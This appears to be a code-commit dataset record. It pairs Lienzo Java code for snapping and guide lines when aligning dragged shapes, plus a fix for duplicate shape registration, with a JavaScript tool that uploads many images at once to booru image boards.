temp.add(Attribute.X);
temp.add(Attribute.Y);
final NFastStringSet seen = new NFastStringSet();
final ArrayList<Attribute> list = new ArrayList<Attribute>();
for (Attribute attribute : temp)
{
if (null != attribute)
{
if (false == seen.contains(attribute.getProperty()))
{
list.add(attribute);
seen.add(attribute.getProperty());
}
}
}
m_bboxOp = any(list);
for (Attribute attribute : list)
{
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(attribute, this));
}
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.ROTATION, this));
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.SCALE, this));
m_attrHandlerRegs.register(m_shape.addAttributesChangedHandler(Attribute.SHEAR, this));
m_tranOp = any(Attribute.ROTATION, Attribute.SCALE, Attribute.SHEAR);
}
public boolean isIndexed()
{
return indexed;
}
public void setIndexed(boolean indexed)
{
this.indexed = indexed;
}
public Set<DistributionEntry> getHorizontalDistributionEntries()
{
if (m_horizontalDistEntries == null)
{
m_horizontalDistEntries = new HashSet<DistributionEntry>();
}
return m_horizontalDistEntries;
}
public Set<DistributionEntry> getVerticalDistributionEntries()
{
if (m_verticalDistEntries == null)
{
m_verticalDistEntries = new HashSet<DistributionEntry>();
}
return m_verticalDistEntries;
}
public Shape<?> getShape()
{
return m_shape;
}
/**
* This is a cached BoundingBox
* @return
*/
public BoundingBox getBoundingBox()
{
return m_box;
}
public double getLeft()
{
return m_left;
}
public double getHorizontalCenter()
{
return m_hCenter;
}
public double getRight()
{
return m_right;
}
public double getTop()
{
return m_top;
}
public double getVerticalCenter()
{
return m_vCenter;
}
public double getBottom()
{
return m_bottom;
}
public void capturePositions(BoundingBox box, double left, double right, double top, double bottom)
{
m_box = box;
if (left != m_left || right != m_right)
{
captureHorizontalPositions(box, left, right);
}
if (top != m_top || bottom != m_bottom)
{
captureVerticalPositions(box, top, bottom);
}
}
public void captureHorizontalPositions(BoundingBox box, double left, double right)
{
double width = box.getWidth();
m_left = left;
m_hCenter = m_left + (width / 2);
m_right = right;
}
public void captureVerticalPositions(BoundingBox box, double top, double bottom)
{
double height = box.getHeight();
m_top = top;
m_vCenter = (m_top + (height / 2));
m_bottom = bottom;
}
public void updateIndex()
{
BoundingBox box = m_shape.getBoundingBox();
double left = m_shape.getX() + box.getX();
double right = left + box.getWidth();
double top = m_shape.getY() + box.getY();
double bottom = top + box.getHeight();
boolean leftChanged = left != m_left;
boolean rightChanged = right != m_right;
boolean topChanged = top != m_top;
boolean bottomChanged = bottom != m_bottom;
if (!leftChanged && !rightChanged && !topChanged && !bottomChanged)
{
// this can happen when the event batching triggers after a drag has stopped, but the event change was due to the dragging.
// @dean REVIEW
return;
}
//capturePositions( m_box, left, right, top, bottom);
updateIndex(leftChanged, rightChanged, topChanged, bottomChanged, box, left, right, top, bottom);
}
public void updateIndex(boolean leftChanged, boolean rightChanged, boolean topChanged, boolean bottomChanged, BoundingBox box, double left, double right, double top, double bottom)
{
// m_box must have been set by parent method.
m_box = box;
if (leftChanged || rightChanged)
{
m_alignAndDistribute.removeHorizontalDistIndex(this);
boolean hCenterChanged = (left + (box.getWidth() / 2) != m_hCenter);
if (leftChanged)
{
m_alignAndDistribute.removeLeftAlignIndexEntry(this, m_left);
}
if (hCenterChanged)
{
m_alignAndDistribute.removeHCenterAlignIndexEntry(this, m_hCenter);
}
if (rightChanged)
{
m_alignAndDistribute.removeRightAlignIndexEntry(this, m_right);
}
captureHorizontalPositions(box, left, right);
if (leftChanged)
{
m_alignAndDistribute.addLeftAlignIndexEntry(this, m_left);
}
if (hCenterChanged)
{
m_alignAndDistribute.addHCenterAlignIndexEntry(this, m_hCenter);
}
if (rightChanged)
{
m_alignAndDistribute.addRightAlignIndexEntry(this, m_right);
}
m_alignAndDistribute.buildHorizontalDistIndex(this);
}
if (topChanged || bottomChanged)
{
m_alignAndDistribute.removeVerticalDistIndex(this);
boolean vCenterChanged = (top + (box.getHeight() / 2) != m_vCenter);
if (topChanged)
{
m_alignAndDistribute.removeTopAlignIndexEntry(this, m_top);
}
if (vCenterChanged)
{
m_alignAndDistribute.removeVCenterAlignIndexEntry(this, m_vCenter);
}
if (bottomChanged)
{
m_alignAndDistribute.removeBottomAlignIndexEntry(this, m_bottom);
}
captureVerticalPositions(box, top, bottom);
if (topChanged)
{
m_alignAndDistribute.addTopAlignIndexEntry(this, m_top);
}
if (vCenterChanged)
{
m_alignAndDistribute.addVCenterAlignIndexEntry(this, m_vCenter);
}
if (bottomChanged)
{
m_alignAndDistribute.addBottomAlignIndexEntry(this, m_bottom);
}
m_alignAndDistribute.buildVerticalDistIndex(this);
}
}
public void dragOn()
{
m_enforcerDelegate = m_shape.getDragConstraints();
m_shape.setDragConstraints(this);
m_dragEndHandlerReg = m_shape.addNodeDragEndHandler(this);
m_isDraggable = true;
}
public void draggOff()
{
m_shape.setDragConstraints(m_enforcerDelegate);
removeDragHandlerRegistrations();
m_isDraggable = false;
}
private final boolean hasComplexTransformAttributes()
{
final Attributes attr = m_shape.getAttributes();
if (attr.hasComplexTransformAttributes())
{
final double r = attr.getRotation();
if (r != 0)
{
return true;
}
final Point2D scale = attr.getScale();
if (null != scale)
{
if ((scale.getX() != 1) || (scale.getY() != 1))
{
return true;
}
}
final Point2D shear = attr.getShear();
if (null != shear)
{
if ((shear.getX() != 0) || (shear.getY() != 0))
{
return true;
}
}
}
return false;
}
@Override
public void onAttributesChanged(final AttributesChangedEvent event)
{
if (m_isDragging)
{
// ignore attribute changes while dragging
return;
}
if (event.evaluate(m_tranOp))
{
boolean hasTransformations = hasComplexTransformAttributes();
if (indexed && hasTransformations)
{
// Indexing cannot be done on transformed shapes
// it's cheaper to just check if the attributes exist on the shape, than it is to test for attributes on the event
m_alignAndDistribute.indexOff(this);
}
else if (!indexed && !hasTransformations)
{
// Indexing was turned off, but there are no more transformations, so turn it back on again
m_alignAndDistribute.indexOn(this);
}
}
boolean isDraggable = m_shape.isDraggable();
if (!m_isDraggable && isDraggable)
{
// was off, now on
dragOn();
}
else if (m_isDraggable && !isDraggable)
{
// was on, now on off
draggOff();
}
if (indexed && event.evaluate(m_bboxOp))
{
updateIndex();
}
}
@Override
public void startDrag(DragContext dragContext)
{
// shapes being dragged must be removed from the index, so that they don't snap to themselves
m_startLeft = m_left;//dragContext.getNode().getX() - m_yBoxOffset;
m_startTop = m_top;//dragContext.getNode().getY() - m_xBoxOffset;
m_isDragging = true;
if (indexed)
{
m_alignAndDistribute.removeAlignIndex(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
m_alignAndDistribute.removeDistIndex(this);
}
}
@Override
public boolean adjust(Point2D dxy)
{
if (!indexed)
{
// ignore adjustment if indexing is off, just use the delegate
if (m_enforcerDelegate != null)
{
return m_enforcerDelegate.adjust(dxy);
}
else
{
return false;
}
}
BoundingBox box = m_shape.getBoundingBox();
double left = m_startLeft + dxy.getX();
double top = m_startTop + dxy.getY();
double width = m_box.getWidth();
double height = m_box.getHeight();
capturePositions(box, left, left + width, top, top + height);
AlignAndDistributeMatches matches = m_alignAndDistribute.findNearestMatches(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
if (m_alignAndDistribute.isSnap())
{
boolean recapture = false;
double xOffset = m_startLeft;
double yOffset = m_startTop;
// Adjust horizontal
if (matches.getLeftList() != null)
{
dxy.setX(matches.getLeftPos() - xOffset);
recapture = true;
}
else if (matches.getHorizontalCenterList() != null)
{
dxy.setX((matches.getHorizontalCenterPos() - (width / 2)) - xOffset);
recapture = true;
}
else if (matches.getRightList() != null)
{
dxy.setX((matches.getRightPos() - width) - xOffset);
recapture = true;
}
// Adjust Vertical
if (matches.getTopList() != null)
{
dxy.setY(matches.getTopPos() - yOffset);
recapture = true;
}
else if (matches.getVerticalCenterList() != null)
{
dxy.setY((matches.getVerticalCenterPos() - (height / 2)) - yOffset);
recapture = true;
}
else if (matches.getBottomList() != null)
{
dxy.setY((matches.getBottomPos() - height) - yOffset);
recapture = true;
}
// Adjust horizontal distribution
if (matches.getLeftDistList() != null)
{
dxy.setX(matches.getLeftDistList().getFirst().getPoint() - width - xOffset);
recapture = true;
}
else if (matches.getRightDistList() != null)
{
dxy.setX(matches.getRightDistList().getFirst().getPoint() - xOffset);
recapture = true;
}
else if (matches.getHorizontalCenterDistList() != null)
{
dxy.setX(matches.getHorizontalCenterDistList().getFirst().getPoint() - (width / 2) - xOffset);
recapture = true;
}
// Adjust vertical distribution
if (matches.getTopDistList() != null)
{
dxy.setY(matches.getTopDistList().getFirst().getPoint() - height - yOffset);
recapture = true;
}
else if (matches.getBottomDistList() != null)
{
dxy.setY(matches.getBottomDistList().getFirst().getPoint() - yOffset);
recapture = true;
}
else if (matches.getVerticalCenterDistList() != null)
{
dxy.setY(matches.getVerticalCenterDistList().getFirst().getPoint() - (height / 2) - yOffset);
recapture = true;
}
if (m_enforcerDelegate != null)
{
// Try to obey the default or user provided enforcer too.
if (m_enforcerDelegate.adjust(dxy))
{
// if the delegate adjusted, we must recapture
recapture = true;
}
}
// it was adjusted, so recapture points
if (recapture)
{
// can't use the original left and top vars, as they are before adjustment snap
left = m_startLeft + dxy.getX();
top = m_startTop + dxy.getY();
width = m_box.getWidth();
height = m_box.getHeight();
capturePositions(box, left, left + width, top, top + height);
}
}
if (m_alignAndDistribute.isDrawGuideLines())
{
m_alignAndDistributeMatchesCallback.call(matches);
}
return true;
}
public void onNodeDragEnd(NodeDragEndEvent event)
{
m_isDragging = false;
m_alignAndDistributeMatchesCallback.dragEnd();
// shape was removed from the index, so add it back in
if (indexed)
{
m_alignAndDistribute.buildAlignIndex(this, m_left, m_hCenter, m_right, m_top, m_vCenter, m_bottom);
m_alignAndDistribute.buildDistIndex(this);
}
}
private void removeDragHandlerRegistrations()
{
m_dragEndHandlerReg.removeHandler();
m_dragEndHandlerReg = null;
}
public void removeHandlerRegistrations()
{
m_attrHandlerRegs.destroy();
m_attrHandlerRegs = null;
removeDragHandlerRegistrations();
}
}
public static interface AlignAndDistributeMatchesCallback
{
void call(AlignAndDistributeMatches matches);
void dragEnd();
}
public static class DefaultAlignAndDistributeMatchesCallback implements AlignAndDistributeMatchesCallback
{
private final Shape<?>[] m_lines = new Shape<?>[18];
private Layer m_layer;
private double m_strokeWidth = 0.5;
private String m_strokeColor = "#000000";
private DashArray m_dashArray = new DashArray(10, 10);
public DefaultAlignAndDistributeMatchesCallback(Layer layer)
{
m_layer = layer;
}
public DefaultAlignAndDistributeMatchesCallback(Layer layer, double strokeWidth, String strokeColor, DashArray dashArray)
{
this(layer);
m_strokeWidth = strokeWidth;
m_strokeColor = strokeColor;
m_dashArray = dashArray;
}
public double getStrokeWidth()
{
return m_strokeWidth;
}
public void setStrokeWidth(double strokeWidth)
{
m_strokeWidth = strokeWidth;
}
public String getStrokeColor()
{
return m_strokeColor;
}
public void setStrokeColor(String strokeColor)
{
m_strokeColor = strokeColor;
}
public DashArray getDashArray()
{
return m_dashArray;
}
public void setDashArray(DashArray dashArray)
{
m_dashArray = dashArray;
}
@Override
public void dragEnd()
{
for (int i = 0; i < m_lines.length; i++)
{
if (m_lines[i] != null)
{
m_layer.remove(m_lines[i]);
m_lines[i] = null;
}
}
m_layer.batch();
}
@Override
public void call(AlignAndDistributeMatches matches)
{
AlignAndDistributeHandler handler = matches.getHandler();
drawAlignIfMatches(handler, matches.getLeftList(), matches.getLeftPos(), 0, true);
drawAlignIfMatches(handler, matches.getHorizontalCenterList(), matches.getHorizontalCenterPos(), 1, true);
drawAlignIfMatches(handler, matches.getRightList(), matches.getRightPos(), 2, true);
drawAlignIfMatches(handler, matches.getTopList(), matches.getTopPos(), 3, false);
drawAlignIfMatches(handler, matches.getVerticalCenterList(), matches.getVerticalCenterPos(), 4, false);
drawAlignIfMatches(handler, matches.getBottomList(), matches.getBottomPos(), 5, false);
drawDistIfMatches(handler, matches.getLeftDistList(), 6, false);
drawDistIfMatches(handler, matches.getHorizontalCenterDistList(), 8, false);
drawDistIfMatches(handler, matches.getRightDistList(), 10, false);
drawDistIfMatches(handler, matches.getTopDistList(), 12, true);
drawDistIfMatches(handler, matches.getVerticalCenterDistList(), 14, true);
drawDistIfMatches(handler, matches.getBottomDistList(), 16, true);
}
private void drawAlignIfMatches(AlignAndDistributeHandler handler, LinkedList<AlignAndDistributeHandler> shapes, double pos, int index, boolean vertical)
{
if (shapes != null)
{
if (vertical)
{
drawVerticalLine(handler, pos, shapes, index);
}
else
{
drawHorizontalLine(handler, pos, shapes, index);
}
m_layer.batch();
}
else if (m_lines[index] != null)
{
removeLine(index, m_lines[index]);
m_layer.batch();
}
}
private void drawDistIfMatches(AlignAndDistributeHandler h, LinkedList<DistributionEntry> shapes, int index, boolean vertical)
{
if (shapes != null)
{
for (DistributionEntry dist : shapes)
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
if (!vertical)
{
double bottom = h.getBottom();
if (h1.getBottom() > bottom)
{
bottom = h1.getBottom();
}
if (h2.getBottom() > bottom)
{
bottom = h2.getBottom();
}
bottom = bottom + 20;
double x0 = 0, y0 = 0, x1 = 0, y1 = 0;
double x2 = 0, y2 = 0, x3 = 0, y3 = 0;
switch (dist.getDistributionType())
{
case DistributionEntry.LEFT_DIST:
x0 = h.getRight();
y0 = h.getBottom() + 5;
x1 = h1.getLeft();
y1 = h1.getBottom() + 5;
x2 = h1.getRight();
y2 = h1.getBottom() + 5;
x3 = h2.getLeft();
y3 = h2.getBottom() + 5;
break;
case DistributionEntry.H_CENTER_DIST:
x0 = h1.getRight();
y0 = h1.getBottom() + 5;
x1 = h.getLeft();
y1 = h.getBottom() + 5;
x2 = h.getRight();
y2 = h.getBottom() + 5;
x3 = h2.getLeft();
y3 = h2.getBottom() + 5;
break;
case DistributionEntry.RIGHT_DIST:
x0 = h1.getRight();
y0 = h1.getBottom() + 5;
x1 = h2.getLeft();
y1 = h2.getBottom() + 5;
x2 = h2.getRight();
y2 = h2.getBottom() + 5;
x3 = h.getLeft();
y3 = h.getBottom() + 5;
break;
}
drawPolyLine(index, bottom, x0, y0, x1, y1, false);
drawPolyLine(index + 1, bottom, x2, y2, x3, y3, false);
}
else
{
double right = h.getRight();
if (h1.getRight() > right)
{
right = h1.getRight();
}
if (h2.getRight() > right)
{
right = h2.getRight();
}
right = right + 20;
double x0 = 0, y0 = 0, x1 = 0, y1 = 0;
double x2 = 0, y2 = 0, x3 = 0, y3 = 0;
switch (dist.getDistributionType())
{
case DistributionEntry.TOP_DIST:
x0 = h.getRight() + 5;
y0 = h.getBottom();
x1 = h1.getRight() + 5;
y1 = h1.getTop();
x2 = h1.getRight() + 5;
y2 = h1.getBottom();
x3 = h2.getRight() + 5;
y3 = h2.getTop();
break;
case DistributionEntry.V_CENTER_DIST:
x0 = h1.getRight() + 5;
y0 = h1.getBottom();
x1 = h.getRight() + 5;
y1 = h.getTop();
x2 = h.getRight() + 5;
y2 = h.getBottom();
x3 = h2.getRight() + 5;
y3 = h2.getTop();
break;
case DistributionEntry.BOTTOM_DIST:
x0 = h1.getRight() + 5;
y0 = h1.getBottom();
x1 = h2.getRight();
y1 = h2.getTop();
x2 = h2.getRight() + 5;
y2 = h2.getBottom();
x3 = h.getRight() + 5;
y3 = h.getTop();
break;
}
drawPolyLine(index, right, x0, y0, x1, y1, true);
drawPolyLine(index + 1, right, x2, y2, x3, y3, true);
}
}
m_layer.batch();
}
else if (m_lines[index] != null)
{
removeLine(index, m_lines[index]);
removeLine(index + 1, m_lines[index + 1]);
m_layer.batch();
}
}
private void removeLine(int index, Shape<?> line)
{
m_layer.remove(line);
m_lines[index] = null;
}
private void drawPolyLine(int index, double edge, double x0, double y0, double x1, double y1, boolean vertical)
{
Point2DArray points;
if (vertical)
{
points = new Point2DArray(new Point2D(x0, y0), new Point2D(edge, y0), new Point2D(edge, y1), new Point2D(x1, y1));
}
else
{
points = new Point2DArray(new Point2D(x0, y0), new Point2D(x0, edge), new Point2D(x1, edge), new Point2D(x1, y1));
}
PolyLine pline = (PolyLine) m_lines[index];
if (pline == null)
{
pline = new PolyLine(points);
pline.setStrokeWidth(m_strokeWidth);
pline.setStrokeColor(m_strokeColor);
pline.setDashArray(m_dashArray);
m_lines[index] = pline;
m_layer.add(pline);
}
else
{
pline.setPoints(points);
}
}
private void drawHorizontalLine(AlignAndDistributeHandler handler, double pos, LinkedList<AlignAndDistributeHandler> shapes, int index)
{
double left = handler.getLeft();
double right = handler.getRight();
for (AlignAndDistributeHandler otherHandler : shapes)
{
double newLeft = otherHandler.getLeft();
double newRight = otherHandler.getRight();
if (newLeft < left)
{
left = newLeft;
}
if (newRight > right)
{
right = newRight;
}
}
drawHorizontalLine(pos, left, right, index);
}
private void drawHorizontalLine(double pos, double left, double right, int index)
{
Line line = (Line) m_lines[index];
if (line == null)
{
line = new Line(left, pos, right, pos);
line.setStrokeWidth(m_strokeWidth);
line.setStrokeColor(m_strokeColor);
line.setDashArray(m_dashArray);
m_layer.add(line);
m_lines[index] = line;
}
else
{
line.setPoints(new Point2DArray(new Point2D(left, pos), new Point2D(right, pos)));
}
}
private void drawVerticalLine(AlignAndDistributeHandler handler, double pos, LinkedList<AlignAndDistributeHandler> shapes, int index)
{
double top = handler.getTop();
double bottom = handler.getBottom();
for (AlignAndDistributeHandler otherHandler : shapes)
{
double newTop = otherHandler.getTop();
double newBottom = otherHandler.getBottom();
if (newTop < top)
{
top = newTop;
}
if (newBottom > bottom)
{
bottom = newBottom;
}
}
drawVerticalLine(pos, top, bottom, index);
}
private void drawVerticalLine(double pos, double top, double bottom, int index)
{
Line line = (Line) m_lines[index];
if (line == null)
{
line = new Line(pos, top, pos, bottom);
line.setStrokeWidth(m_strokeWidth);
line.setStrokeColor(m_strokeColor);
line.setDashArray(m_dashArray);
m_layer.add(line);
m_lines[index] = line;
}
else
{
line.setPoints(new Point2DArray(new Point2D(pos, top), new Point2D(pos, bottom)));
}
}
}
}
| -fixed error if a shape is added twice, it's not ignored if it already exists.
| src/main/java/com/ait/lienzo/client/core/shape/wires/AlignAndDistribute.java | -fixed error if a shape is added twice, it's not ignored if it already exists. | <ide><path>rc/main/java/com/ait/lienzo/client/core/shape/wires/AlignAndDistribute.java
<ide>
<ide> public void addShape(Shape<?> shape)
<ide> {
<del> AlignAndDistributeHandler handler = new AlignAndDistributeHandler(shape, this, m_alignmentCallback, shape.getBoundingBoxAttributes());
<del>
<del> m_shapes.put(shape.uuid(), handler);
<add> String uuid = shape.uuid();
<add> AlignAndDistributeHandler handler = m_shapes.get(uuid);
<add> if ( handler == null )
<add> {
<add> // only add if the shape has not already been added
<add> handler = new AlignAndDistributeHandler(shape, this, m_alignmentCallback, shape.getBoundingBoxAttributes());
<add> m_shapes.put(uuid, handler);
<add> }
<ide> }
<ide>
<ide> public void removeShape(Shape<?> shape) |
|
JavaScript | mit | 4982810c0b1762c22ee23d6f88afdc2e4cacc41d | 0 | Seedmanc/Booru-mass-uploader | if (!XMLHttpRequest.prototype.sendAsBinary) {
XMLHttpRequest.prototype.sendAsBinary = function (sData) {
var nBytes = sData.length,
ui8Data = new Uint8Array(nBytes);
for (var nIdx = 0; nIdx < nBytes; nIdx++) {
ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
}
/* send as ArrayBufferView...: */
this.send(ui8Data);
/* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
};
}
var upOptions = {
running: false
};
var current = localStorage.getItem(document.location.host) || localStorage.getItem('current') || 'gelbooru';
var engine = $("engine");
engine.onchange = function () {
current = this.value;
$('current').textContent = current;
if (current != 'gelbooru') {
$('title').disable();
} else {
$('title').enable();
}
};
engine.selectedIndex = current == 'gelbooru' ? 0 : (current == 'moebooru' ? 1 : 2);
engine.onchange();
hitSync();
$$('#asFiles,#asFolder').each(function (el) {
var files = $('files');
el.onchange = function () {
if (this.id == 'asFolder' && this.checked) {
files.writeAttribute({directory: '', mozdirectory: '', webkitdirectory: ''});
} else {
files.writeAttribute({directory: false, mozdirectory: false, webkitdirectory: false});
}
};
});
RestoreLastSettings();
UploadOptions();
function FilesSelected(selFiles) {
bat = [];
header = {};
$('bat').hide();
if (upOptions.running) {
return;
}
upOptions = UploadOptions();
if (upOptions.auth.use && isNaN(upOptions.auth.userID)) {
alert('Wrong user ID - it must be a number.');
return;
}
if (upOptions.auth.use && upOptions.auth.ticket.length != 40) {
alert('Wrong ticket - it must be 40 characters long.');
return;
}
upOptions.running = true;
try {
var files = [];
$each(selFiles, function (file) {
if (IsUploadable(file)) {
files.push(file);
}
});
SendFiles(files);
} catch (e) {
if (typeof e == 'string') {
alert('Couldn\'t upload - ' + e);
}
}
}
function IsUploadable(file) {
return (typeof file.type == 'string' ? file.type.substr(0, 6) == 'image/' : true) && /(jpe?g|gif|png|bmp)$/i.test(file.name);
}
function OnFirstUpload(files) {
SaveLastSettings();
Log('info', 'Started uploading ' + upOptions.stats.total + ' files.');
UpdateUpProgress(0);
}
function OnAllUploaded() {
var msg = 'Finished uploading; ' + upOptions.stats.success + ' uploaded ok + ' +
upOptions.stats.failed + ' failed = ' +
upOptions.stats.total + ' images total.';
var ourBooru = upOptions.uploadURL.match(/^http:\/\/([\w\d-]+)\.booru\.org\//i);
succesStore();
upOptions.running = false;
Log('info end', msg);
$set('status', '');
UpdateUpProgress(0);
if (ourBooru) {
var baseCtrUpdURL = 'http://booru.org/?action=updateimagecount&updateimagecount[booru]=';
var image = new Image();
image.src = baseCtrUpdURL + ourBooru[1] + '&rand=' + Math.random();
}
$('files').value = '';
}
function UploadOptions() {
var rating = {
when: $('forceRating').checked ? 'always' : 'default',
set: $('setSafe').checked ? 's' : $('setQuest').checked ? 'q' : 'e'
};
var tagging = {
when: $('forceTags').checked ? 'always' : 'add',
set: $get('tags').toLowerCase().split(/\s+/)
};
var auth = {
userID: GetCookie('user_id'),
ticket: GetCookie('pass_hash')
};
auth.use = (auth.userID || GetCookie('login')) && auth.ticket;
var uploadURL = document.location.protocol + '//' + document.location.hostname + boorus[current].uploadPath;
$('spinner').hide();
$('infobar').show();
$('submit').enable();
$('loggedIn').textContent = auth.use || (localStorage.getItem('auth_token') && (GetCookie('login') || GetCookie('user_name'))) ? 'logged in' : 'posting anonymously';
$('current').textContent = current;
return {
delay: 1000,
uploadURL: uploadURL,
title: $('title').checked,
rating: rating,
tagging: tagging,
source: $get('source'),
stats: {
total: 0,
success: 0,
failed: 0
},
auth: auth
};
}
function Log(className, msg) {
var now = new Date;
var line = document.createElement('div');
msg = '[' + now.getHours() + ':' + now.getMinutes() + '] ' + msg;
$show('log');
line.className = className;
line.innerHTML = msg;
$('log').appendChild(line);
}
function LogSuccess(file) {
if (localStorage.getItem(document.location.host) != engine.value) {
storEngine();
}
localStorage.setItem(document.location.host, engine.value);
upOptions.stats.success++;
if ($('onlyErrors').checked) {
return;
}
Log('success', 'Image ' + file.name + ' was successfully uploaded.');
}
function LogFailure(file, reason) {
Log('error', 'Couldn\'t upload ' + file.name + ': ' + reason + '.');
batch(file, reason);
upOptions.stats.failed++;
}
function SendFiles(files, index) {
index = index || 0;
if (index < files.length) {
if (index == 0) {
upOptions.stats.total = files.length;
OnFirstUpload(files);
}
SendFile(files[index], function () {
SendFiles(files, index + 1);
});
$set('status', 'Uploading #' + (index + 1) + ' image out of ' + files.length + '...');
} else {
OnAllUploaded();
}
}
function SendFile(file, callback) {
var reqVars = {
title: TitleFor(file),
rating: RatingFor(file),
source: upOptions.source,
submit: 'Upload',
tags: TagsFor(file),
token: localStorage.getItem('auth_token')
};
if (upOptions.auth.use) {
reqVars.cookies = 'user_id=' + upOptions.auth.userID + '; ' + 'pass_hash=' + upOptions.auth.ticket;
}
var xhr = CreateXHRequest();
xhr.onreadystatechange = function () {
if (this.readyState == 4) {
if (current == 'gelbooru') {
if (this.status == 200 || this.status == 302 || this.status == 304 /*not modified*/) {
if (~this.responseText.indexOf('generation failed')) {
LogFailure(file, 'thumbnail generation failed, image might be corrupted even if added');
}
// "mage" instead of "image" because first "I" might be capitalized.
if (~this.responseText.indexOf('mage added')) {
LogSuccess(file);
}
else if (~this.responseText.indexOf('already exists.')) {
var existId;
try {
existId = this.responseText.split('can find it ')[1].split('here')[0].split('&id=')[1].replace('">', '');
} catch (any) {}
if (!!Number(existId)) {
LogFailure(file, 'image already exists <a href="index.php?page=post&s=view&id=' + existId + '" target="_blank">here</a>')
} else {
LogFailure(file, 'image has been deleted');
}
}
else if (~this.responseText.indexOf('permission')) {
LogFailure(file, 'error, access denied. Try logging in. Stopped');
OnAllUploaded();
throw 403;
} else if (~this.responseText.indexOf('n error occured')) {
LogFailure(file, 'image too big? too small? corrupted?');
} else {
LogFailure(file, 'error, wrong response. Check your posting form URL');
}
} else {
LogFailure(file, 'error, ' + xhr.statusCode + ' ' + xhr.statusText);
}
} else {
switch (this.status) {
case 200:
LogSuccess(file);
break;
case 201:
if (current == 'danbooru') {
var uploadResult = JSON.parse(xhr.response).status;
if (uploadResult == 'completed') {
LogSuccess(file);
} else if (~uploadResult.indexOf('error:')) {
if (~uploadResult.indexOf('duplicate')) {
LogFailure(file, 'image already exists <a href="/posts/' + uploadResult.split('duplicate: ')[1] + '" target="_blank">' + uploadResult.split('duplicate: ')[1] + '</a>');
} else {
LogFailure(file, 'error, ' + uploadResult);
}
}
}
break;
case 423:
LogFailure(file, 'image already exists <a href="' + JSON.parse(xhr.response).location + '" target="_blank">' + (JSON.parse(xhr.response).post_id || 'here') + '</a>');
break;
case 403:
LogFailure(file, 'error, access denied. Try logging in. Stopped');
OnAllUploaded();
throw JSON.parse(xhr.response).reason;
break;
case 404:
LogFailure(file, 'API error, try another booru engine. Stopped');
OnAllUploaded();
throw 404;
break;
default:
var error;
try {
error = JSON.parse(xhr.response);
if (error.success === true) {
LogSuccess(file);
}
else {
LogFailure(file, 'error, ' + error.reason);
}
} catch(any) {
console.log(xhr.response);
LogFailure(file, 'error, see console for server response');
}
break;
}
}
UpdateUpProgress(Math.min(upOptions.stats.success + upOptions.stats.failed, upOptions.stats.total) / upOptions.stats.total);
setTimeout(callback, upOptions.delay);
}
};
var boundary = '--bOh3aYae';
var EOLN = "\r\n";
var postVars = '';
for (var name in reqVars) {
if (boorus[current].fields[name]) {
postVars += boundary + EOLN +
'Content-Disposition: form-data; name="' + boorus[current].fields[name] + '"' + EOLN + EOLN +
reqVars[name] + EOLN;
}
}
var reader = new FileReader;
reader.onloadend = function () {
var data = boundary + EOLN +
'Content-Disposition: form-data; name="' + boorus[current].fields.file + '";' + ' filename="' + file.name + '"' + EOLN +
'Content-Type: application/octet-stream' + EOLN +
'Content-Transfer-Encoding: binary' + EOLN + EOLN +
reader.result + EOLN +
postVars + boundary + '--';
xhr.open('POST', upOptions.uploadURL);
xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary.substr(2));
xhr.setRequestHeader('Content-Length', data.length);
xhr.sendAsBinary(data);
};
reader.readAsBinaryString(file);
}
function UpdateUpProgress(percent) {
WidthOf('progress', WidthOf('progressWr') * percent);
}
function RatingFor(file) {
return InfoAbout(file)[0];
}
function TagsFor(file) {
return NormTags(InfoAbout(file)[1]);
}
function TitleFor(file) {
return InfoAbout(file)[2];
}
function InfoAbout(file) {
var fileName = file.name.toLowerCase();
var ext = fileName.match(/ *\.(\w{2,4})$/i);
var rating, tags, title;
if (ext) {
fileName = fileName.replace(ext[0], '');
}
if (!ext) {
throw 'File ' + file.name + ' has no extension.';
} else {
ext = ext[1];
}
rating = fileName.match(/^([sqe])( +|$)/i);
if (rating) {
fileName = fileName.replace(rating[0], '');
}
if (upOptions.rating.when == 'always' || !rating) {
rating = upOptions.rating.set;
} else {
rating = rating[1];
}
tags = fileName;
title = upOptions.title ? tags.split(/\s+/)[tags.split(/\s+/).length - 1] : '';
return [rating, tags, title];
}
function NormTags(tags) {
tags = tags.toLowerCase().split(/\s+/);
tags.pop();
if (tags.length >= 2) {
tags = mkUniq(tags);
}
switch (upOptions.tagging.when) {
case 'always':
tags = [];
case 'add':
tags = tags.concat(upOptions.tagging.set);
tags = mkUniq(tags);
}
if (tags[0] == '') {
tags.shift();
}
return tags.join(' ');
}
| js/uploader.js | if (!XMLHttpRequest.prototype.sendAsBinary) {
XMLHttpRequest.prototype.sendAsBinary = function (sData) {
var nBytes = sData.length,
ui8Data = new Uint8Array(nBytes);
for (var nIdx = 0; nIdx < nBytes; nIdx++) {
ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
}
/* send as ArrayBufferView...: */
this.send(ui8Data);
/* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
};
}
var upOptions = {
running: false
};
var current = localStorage.getItem(document.location.host) || localStorage.getItem('current') || 'gelbooru';
var engine = $("engine");
engine.onchange = function () {
current = this.value;
$('current').textContent = current;
if (current != 'gelbooru') {
$('title').disable();
} else {
$('title').enable();
}
};
engine.selectedIndex = current == 'gelbooru' ? 0 : (current == 'moebooru' ? 1 : 2);
engine.onchange();
hitSync();
$$('#asFiles,#asFolder').each(function (el) {
var files = $('files');
el.onchange = function () {
if (this.id == 'asFolder' && this.checked) {
files.writeAttribute({directory: '', mozdirectory: '', webkitdirectory: ''});
} else {
files.writeAttribute({directory: false, mozdirectory: false, webkitdirectory: false});
}
};
});
RestoreLastSettings();
UploadOptions();
function FilesSelected(selFiles) {
bat = [];
header = {};
$('bat').hide();
if (upOptions.running) {
return;
}
upOptions = UploadOptions();
if (upOptions.auth.use && isNaN(upOptions.auth.userID)) {
alert('Wrong user ID - it must be a number.');
return;
}
if (upOptions.auth.use && upOptions.auth.ticket.length != 40) {
alert('Wrong ticket - it must be 40 characters long.');
return;
}
upOptions.running = true;
try {
var files = [];
